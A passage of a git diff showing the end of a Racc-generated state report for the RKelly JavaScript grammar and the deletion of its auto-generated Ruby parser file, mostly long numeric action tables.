state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 540 - -state 534 - - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr ")" Statement _ - - $default reduce using rule 250 (IterationStatement) - - -state 535 - - 270) CaseBlock : "{" CaseClausesOpt DefaultClause CaseClausesOpt "}" _ - - $default reduce using rule 270 (CaseBlock) - - -state 536 - - 276) DefaultClause : DEFAULT ":" SourceElements _ - - $default reduce using rule 276 (DefaultClause) - - -state 537 - - 275) CaseClause : CASE Expr ":" SourceElements _ - - $default reduce using rule 275 (CaseClause) - - -state 538 - - 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block FINALLY Block _ - - $default reduce using rule 282 (TryStatement) - - -state 539 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 33 (Property) - - -state 540 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement _ - - $default reduce using rule 247 (IterationStatement) - diff --git a/lib/rkelly/generated_parser.rb b/lib/rkelly/generated_parser.rb deleted file mode 100644 index 6187e84b14..0000000000 --- a/lib/rkelly/generated_parser.rb +++ /dev/null @@ -1,3239 +0,0 @@ -# -# DO NOT MODIFY!!!! -# This file is automatically generated by Racc 1.4.6 -# from Racc grammer file "". -# - -require 'racc/parser.rb' - - require "rkelly/nodes" - -module RKelly - class GeneratedParser < Racc::Parser - -module_eval(<<'...end parser.y/module_eval...', 'parser.y', 853) - include RKelly::Nodes - - def allow_auto_semi?(error_token) - error_token == false || error_token == '}' || @terminator - end - - def property_class_for(ident) - case ident - when 'get' - GetterPropertyNode - when 'set' - SetterPropertyNode - end - end - - def debug(*args) - logger.debug(*args) if logger - end -...end parser.y/module_eval... -##### State transition tables begin ### - -clist = [ -'499,192,202,318,176,196,22,23,24,320,457,189,172,292,297,322,40,326', -'509,453,456,247,111,208,207,206,92,398,244,28,328,119,42,211,41,245', -'214,454,215,327,208,207,206,153,154,43,44,119,238,237,416,369,214,369', -'215,228,229,423,173,367,193,27,25,26,87,235,236,248,246,32,190,86,174', -'399,33,507,456,45,46,47,48,293,298,213,376,213,498,191,201,317,175,195', -'369,228,229,319,369,188,464,291,296,321,409,325,22,23,24,74,233,234', -'67,73,80,250,40,70,180,526,249,72,81,69,213,183,36,75,77,28,78,79,42', -'66,41,71,76,119,228,229,238,237,220,119,221,43,44,119,214,331,215,381', -'116,330,117,238,237,235,236,389,119,27,25,26,31,123,213,124,418,32,389', -'65,235,236,33,387,388,45,46,47,48,394,22,23,24,74,387,388,67,73,80,68', -'40,70,213,506,417,72,213,69,233,234,36,75,77,28,78,79,42,66,41,71,76', -'395,382,233,234,213,385,386,396,43,44,239,240,241,242,335,334,385,386', -'163,162,475,238,237,213,27,25,26,31,390,391,392,393,32,389,65,160,161', -'33,235,236,45,46,47,48,397,22,23,24,74,387,388,67,73,80,68,40,70,225', -'226,227,72,81,69,222,223,36,75,77,28,78,79,42,66,41,71,76,460,405,158', -'159,213,233,234,461,43,44,390,391,392,393,228,229,385,386,238,237,406', -'238,237,213,27,25,26,31,164,165,166,167,32,389,65,235,236,33,235,236', -'45,46,47,48,462,22,23,24,74,387,388,67,73,80,68,40,70,225,226,227,72', -'81,69,228,229,36,75,77,28,78,79,42,66,41,71,76,400,380,233,234,213,233', -'234,115,43,44,239,240,241,242,228,229,385,386,238,237,212,238,237,213', -'27,25,26,31,239,240,241,242,32,389,65,235,236,33,235,236,45,46,47,48', -'370,22,23,24,74,387,388,67,73,80,68,40,70,254,474,253,72,213,69,228', -'229,36,75,77,28,78,79,42,66,41,71,76,341,472,233,234,422,233,234,522', -'43,44,213,463,373,469,422,374,385,386,238,237,492,470,471,422,27,25', -'26,31,421,338,473,422,32,401,65,235,236,33,333,332,45,46,47,48,420,22', -'23,24,74,419,246,67,73,80,68,40,70,230,231,232,72,81,69,245,244,36,75', -'77,28,78,79,42,66,41,71,76,329,168,233,234,169,222,223,301,43,44,129', -'130,131,132,133,134,135,136,139,137,138,230,231,232,27,25,26,31,230', -'231,232,213,32,372,65,295,213,33,375,394,45,46,47,48,395,22,23,24,74', -'396,128,67,73,80,68,40,70,230,231,232,72,81,69,397,476,36,75,77,28,78', -'79,42,66,41,71,76,230,231,232,213,477,222,223,479,43,44,129,130,131', -'132,133,134,135,136,139,137,138,230,231,232,27,25,26,31,230,231,232', -'170,32,481,65,295,171,33,487,488,45,46,47,48,290,22,23,24,74,490,128', -'67,73,80,68,40,70,230,231,232,72,491,69,243,493,36,75,77,28,78,79,42', -'66,41,71,76,230,231,232,263,257,125,126,496,43,44,129,130,131,132,133', -'134,135,136,139,137,138,225,226,227,27,25,26,31,230,231,232,255,32,404', -'65,246,245,33,244,243,45,46,47,48,504,22,23,24,74,243,128,67,73,80,68', -'40,70,230,231,232,72,65,69,408,487,36,75,77,28,78,79,42,66,41,71,76', -'230,231,232,230,231,232,412,65,43,44,230,231,232,230,231,232,230,231', -'232,230,231,232,513,204,27,25,26,31,230,231,232,203,32,516,65,517,518', -'33,180,520,45,46,47,48,65,22,23,24,74,198,197,67,73,80,68,40,70,150', -'151,152,72,487,69,525,183,36,75,77,28,78,79,42,66,41,71,76,225,226,227', -'155,156,157,527,528,43,44,225,226,227,230,231,232,529,184,531,115,533', -'186,535,84,27,25,26,31,82,65,539,187,32,,65,,,33,,,45,46,47,48,,22,23', -'24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71', -'76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47', -'48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79', -'42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,', -'33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75', -'77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,', -',,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72', -',69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40', -'70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,', -',,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67', -'73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,', -'43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23', -'24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41,71', -'76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47', -'48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42', -'66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33', -',,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77', -'28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,', -'32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81', -'69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40', -'70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,', -',,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67', -'73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,', -',,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22', -'23,24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41', -'71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46', -'47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,384,69,,,36,75,77,28,78', -'79,42,66,41,71,76,,,,,,,222,223,43,44,,129,130,131,132,133,134,135,136', -'139,137,138,,,27,25,26,31,,22,23,24,32,,65,,,33,,40,45,46,47,48,,111', -',,,92,,128,28,,68,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22', -'23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,', -',43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47', -'48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87', -'22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,', -',,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46', -'47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26', -'87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,', -',,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45', -'46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25', -'26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41', -',,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,', -'45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,,22,23,24,32,,86,,,33,425,40,45,46,47,48,,111,,,,92,,,28,,', -'42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,', -'33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,', -',,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28', -',,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86', -',,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,', -',,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,', -',28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32', -',86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,', -',,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,', -'92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,,22,23,24', -'32,,86,,,33,251,40,45,46,47,48,,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,258,86,,,33,40,,45,46,47,48', -'111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22', -'23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,', -',43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47', -'48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87', -'22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,', -',,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46', -'47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26', -'87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,', -',,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45', -'46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25', -'26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41', -',,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,', -'45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,316,41,,,,,,,,,,,43,44,,,,,,,,,,,,', -',,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,', -',42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,', -',33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,', -',,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,', -'28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,', -'86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,', -',,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92', -',,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32', -',86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,', -',,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,', -'92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24', -',32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44', -',,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,22,23,24,,,', -',,,,43,44,,,,,111,22,23,24,92,,,28,,,27,25,26,87,,,,111,32,,86,92,,33', -'28,,45,46,47,48,,,,,,,,,,27,25,26,87,,,,,32,,86,,,33,,,,27,25,26,87', -',,,,32,,86,,,33' ] - racc_action_table = arr = Array.new(8460, nil) - idx = 0 - clist.each do |str| - str.split(',', -1).each do |i| - arr[idx] = i.to_i unless i.empty? - idx += 1 - end - end - -clist = [ -'474,74,80,190,64,75,75,75,75,193,404,73,61,178,181,194,75,199,484,403', -'479,108,75,86,86,86,75,311,285,75,200,217,75,86,75,286,217,403,217,200', -'334,334,334,53,53,75,75,120,360,360,334,370,120,249,120,270,270,370', -'61,249,74,75,75,75,75,360,360,108,287,75,73,75,64,311,75,484,404,75', -'75,75,75,178,181,194,288,199,474,74,80,190,64,75,412,271,271,193,329', -'73,412,178,181,194,329,199,462,462,462,462,360,360,462,462,462,111,462', -'462,293,511,111,462,462,462,511,298,462,462,462,462,462,462,462,462', -'462,462,462,93,272,272,359,359,93,91,93,462,462,35,91,206,91,301,35', -'206,35,279,279,359,359,441,37,462,462,462,462,37,340,37,340,462,440', -'462,279,279,462,441,441,462,462,462,462,307,473,473,473,473,440,440', -'473,473,473,462,473,473,337,483,337,473,483,473,359,359,473,473,473', -'473,473,473,473,473,473,473,473,308,302,279,279,302,441,441,309,473', -'473,283,283,283,283,210,210,440,440,55,55,434,357,357,434,473,473,473', -'473,444,444,444,444,473,443,473,55,55,473,357,357,473,473,473,473,310', -'471,471,471,471,443,443,471,471,471,473,471,471,346,346,346,471,471', -'471,140,140,471,471,471,471,471,471,471,471,471,471,471,406,323,55,55', -'323,357,357,408,471,471,306,306,306,306,100,100,443,443,102,102,324', -'280,280,324,471,471,471,471,56,56,56,56,471,442,471,102,102,471,280', -'280,471,471,471,471,409,469,469,469,469,442,442,469,469,469,471,469', -'469,347,347,347,469,469,469,350,350,469,469,469,469,469,469,469,469', -'469,469,469,314,300,102,102,300,280,280,254,469,469,103,103,103,103', -'349,349,442,442,281,281,88,282,282,88,469,469,469,469,361,361,361,361', -'469,305,469,281,281,469,282,282,469,469,469,469,250,475,475,475,475', -'305,305,475,475,475,469,475,475,113,430,113,475,430,475,348,348,475', 